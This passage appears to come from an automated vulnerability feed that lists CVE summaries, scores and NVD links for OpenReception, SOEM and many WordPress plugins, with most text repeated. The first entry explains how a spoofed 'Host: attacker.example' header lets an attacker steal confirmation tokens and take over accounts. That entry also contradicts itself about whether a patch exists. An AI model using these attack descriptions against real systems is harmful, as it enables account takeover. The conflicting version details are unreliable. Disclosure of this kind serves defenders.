NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58202&date=2026-10-25
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.0.0, the account-confirmation link in emails is built from the request Host header, with no allowlist. The unauthenticated POST /api/auth/resend-confirmation rotates a pending invitee's confirmation token and emails a link whose host comes from the request. An attacker who sends one resend-confirmation with Host: attacker.example and a pending invitee's email causes that invitee to receive a confirmation email whose only link points to the attacker. If the invitee clicks, the one-time confirmation token reaches the attacker, who then confirms the account on the real tenant domain and registers a passkey they control, taking over the account before the legitimate invitee ever uses it. All released versions through v1.1.0 are affected; no patched version exists yet. Reaching the app with a spoofed Host depends on the front proxy: the stock Caddy catch-all forwards it, while an operator who configures explicit per-tenant proxy blocks is not affected (see Details 4). The invite path builds links from the trusted tenant.domain (invite/+server.ts:204-210); the resend-confirmation path builds them from the request Host. This issue has been patched in version 2.0.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.
https://kevwire.com/record/CVE-2026-65824
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. (Oct 23, 2026).
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.2.1, an attacker who captures a pending invite token can replay it to obtain a passkey-registration credential and register their own passkey on the invited account, taking control of that account. For a staff or tenant-admin invite this yields access to the tenant context tied to that account. This issue has been patched in version 2.2.1.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65824).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65824&date=2026-10-25).
Sources:
NVD CVE-2026-65824: https://nvd.nist.gov/vuln/detail/CVE-2026-65824
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65824&date=2026-10-25
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.2.1, an attacker who captures a pending invite token can replay it to obtain a passkey-registration credential and register their own passkey on the invited account, taking control of that account. For a staff or tenant-admin invite this yields access to the tenant context tied to that account. This issue has been patched in version 2.2.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside...
https://kevwire.com/record/CVE-2026-70388
SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside... (Oct 26, 2026).
SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside allocated memory boundaries. The software performs arithmetic on message length values without proper validation, allowing negative or extremely large values to bypass safety checks. This can corrupt memory and potentially allow an attacker to execute arbitrary code on the master system.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70388).
Sources:
NVD CVE-2026-70388: https://nvd.nist.gov/vuln/detail/CVE-2026-70388
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
SOEM version 2.0.0 and earlier contains vulnerabilities where a malicious device on the network can send specially crafted messages that cause the master to write data outside allocated memory boundaries. The software performs arithmetic on message length values without proper validation, allowing negative or extremely large values to bypass safety checks. This can corrupt memory and potentially allow an attacker to execute arbitrary code on the master system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers.
https://kevwire.com/record/CVE-2026-82944
SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. (Oct 26, 2026).
SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. The software checks the total size only once at the beginning, but doesn't track the cumulative size as multiple segments arrive. An attacker can declare a small initial size to pass validation, then send additional segments that exceed the allocated buffer. This allows the attacker to write controlled data beyond buffer boundaries, potentially enabling code execution.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82944).
Sources:
NVD CVE-2026-82944: https://nvd.nist.gov/vuln/detail/CVE-2026-82944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
SOEM version 2.0.0 and earlier contains a vulnerability in multi-segment data transfers where a malicious device can overflow memory buffers. The software checks the total size only once at the beginning, but doesn't track the cumulative size as multiple segments arrive. An attacker can declare a small initial size to pass validation, then send additional segments that exceed the allocated buffer. This allows the attacker to write controlled data beyond buffer boundaries, potentially enabling code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers.
https://kevwire.com/record/CVE-2026-82947
SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. (Oct 26, 2026).
SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. The software uses length and offset values from device messages without validating them against buffer sizes. This can cause the master to access invalid memory locations, potentially disclosing sensitive information or causing crashes.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82947).
Sources:
NVD CVE-2026-82947: https://nvd.nist.gov/vuln/detail/CVE-2026-82947
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
SOEM version 2.0.0 and earlier contains multiple vulnerabilities in frame processing where a malicious device can cause the master to read data outside allocated buffers. The software uses length and offset values from device messages without validating them against buffer sizes. This can cause the master to access invalid memory locations, potentially disclosing sensitive information or causing crashes.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This...
https://kevwire.com/record/CVE-2026-111402
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This... (Oct 24, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This issue affects Newsletters: from n/a through 4.18.1.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111402).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111402&date=2026-10-25).
Sources:
NVD CVE-2026-111402: https://nvd.nist.gov/vuln/detail/CVE-2026-111402
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111402&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This issue affects Newsletters: from n/a through 4.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations:...
https://kevwire.com/record/CVE-2026-111841
Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations:... (Oct 26, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations: from n/a through 3.8.5.2.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111841).
Sources:
NVD CVE-2026-111841: https://nvd.nist.gov/vuln/detail/CVE-2026-111841
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations: from n/a through 3.8.5.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-112844
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue affects WP Event Solution: from n/a through 4.1.26.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112844).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112844&date=2026-10-25).
Sources:
NVD CVE-2026-112844: https://nvd.nist.gov/vuln/detail/CVE-2026-112844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112844&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue affects WP Event Solution: from n/a through 4.1.26.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL...
https://kevwire.com/record/CVE-2026-112866
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL... (Oct 24, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL Injection.This issue affects Product Filter by WBW: from n/a through 3.4.6.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112866).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112866&date=2026-10-25).
Sources:
NVD CVE-2026-112866: https://nvd.nist.gov/vuln/detail/CVE-2026-112866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112866&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL Injection.This issue affects Product Filter by WBW: from n/a through 3.4.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open!
https://kevwire.com/record/CVE-2026-112869
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open! (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open! opening-hours allows Reflected XSS.This issue affects We’re Open!: from n/a through 2.6.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112869).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112869&date=2026-10-25).
Sources:
NVD CVE-2026-112869: https://nvd.nist.gov/vuln/detail/CVE-2026-112869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112869&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open! opening-hours allows Reflected XSS.This issue affects We’re Open!: from n/a through 2.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-114178
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects W3 Total Cache: from n/a through 2.10.7.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114178).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114178&date=2026-10-25).
Sources:
NVD CVE-2026-114178: https://nvd.nist.gov/vuln/detail/CVE-2026-114178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114178&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects W3 Total Cache: from n/a through 2.10.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This...
https://kevwire.com/record/CVE-2026-114179
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This issue affects BP Better Messages: from n/a through 3.1.3.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114179).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114179&date=2026-10-25).
Sources:
NVD CVE-2026-114179: https://nvd.nist.gov/vuln/detail/CVE-2026-114179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114179&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This issue affects BP Better Messages: from n/a through 3.1.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access...
https://kevwire.com/record/CVE-2026-114191
Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access... (Oct 24, 2026).
Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UPI QR Code Payment Gateway for WooCommerce: from n/a through 1.6.3.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114191).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114191&date=2026-10-25).
Sources:
NVD CVE-2026-114191: https://nvd.nist.gov/vuln/detail/CVE-2026-114191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114191&date=2026-10-25
Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UPI QR Code Payment Gateway for WooCommerce: from n/a through 1.6.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.
https://kevwire.com/record/CVE-2026-114196
Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5. (Oct 24, 2026).
Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114196).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114196&date=2026-10-25).
Sources:
NVD CVE-2026-114196: https://nvd.nist.gov/vuln/detail/CVE-2026-114196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114196&date=2026-10-25
Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue...
https://kevwire.com/record/CVE-2026-114694
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue affects Events Manager: from n/a through 7.4.8.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114694).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114694&date=2026-10-25).
Sources:
NVD CVE-2026-114694: https://nvd.nist.gov/vuln/detail/CVE-2026-114694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114694&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue affects Events Manager: from n/a through 7.4.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-114695
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue affects VOD Infomaniak: from n/a through 1.5.14.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114695).
